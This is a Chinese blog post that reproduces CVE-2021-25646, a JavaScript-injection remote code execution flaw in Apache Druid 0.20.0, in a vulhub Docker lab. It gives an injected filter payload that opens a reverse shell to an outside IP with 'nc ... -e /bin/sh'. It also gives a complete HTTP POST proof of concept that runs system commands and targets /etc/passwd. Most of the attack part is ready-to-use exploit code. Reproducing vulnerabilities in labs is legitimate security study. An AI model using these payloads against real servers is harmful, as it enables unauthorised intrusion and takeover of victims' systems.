Apache Druid命令执行(CVE-2021-25646)

漏洞详情:

Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码 。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。该漏洞源于攻击者可利用恶意JSON输入,通过function参数控制Rhino引擎执行的JavaScript代码,进而调用系统命令

影响范围:

Apache Druid <= 0.20.0

漏洞复现:

pull影响范围内的druid版本镜像

复制代码
docker pull vulhub/apache-druid:0.20.0

运行容器

复制代码
docker run --rm -i -p 8888:8888 vulhub/docker-druid:0.20.0

开浏览器访问8888端口 ,无需认证可访问Druid console页面:

上传代码块

Base directory==》quickstart/tutorial

File filter==》 wikiticker-2015-09-12-sampled.json.gz

在下面这步开始抓包

在这里插入⬇️⬇️⬇️ function代码块

复制代码
, "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 121.43.48.229 9999 -e /bin/sh')}", "": {"enabled": true}}

上传执行指令

反连shell成功🏅

也有现成的poc
复制代码
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}
验证结果
相关推荐
xian_wwq几秒前
【学习笔记】网络安全L3级模型功能解析
笔记·学习·安全
闲人编程26 分钟前
文件上传与云存储集成:构建可扩展、安全的文件管理系统
安全·测试用例·云存储·扩展·分片·fs·codecapsule
霖霖总总2 小时前
[小技巧19]MySQL 权限管理全指南:用户、角色、授权与安全实践
数据库·mysql·安全
tianyuanwo9 小时前
合并XFS分区:将独立分区安全融入LVM的完整指南
安全·lvm
智驱力人工智能10 小时前
守护流动的规则 基于视觉分析的穿越导流线区检测技术工程实践 交通路口导流区穿越实时预警技术 智慧交通部署指南
人工智能·opencv·安全·目标检测·计算机视觉·cnn·边缘计算
2501_9458374311 小时前
云服务器的防护体系构建之道
网络·安全
大厂技术总监下海13 小时前
数据湖加速、实时数仓、统一查询层:Apache Doris 如何成为现代数据架构的“高性能中枢”?
大数据·数据库·算法·apache
小红卒16 小时前
海康威视未授权访问漏洞 (CVE-2017-7921)复现研究
安全
鸠摩智首席音效师18 小时前
如何在 Apache 中排除特定的代理 URL 请求 ?
apache
Data-Miner18 小时前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全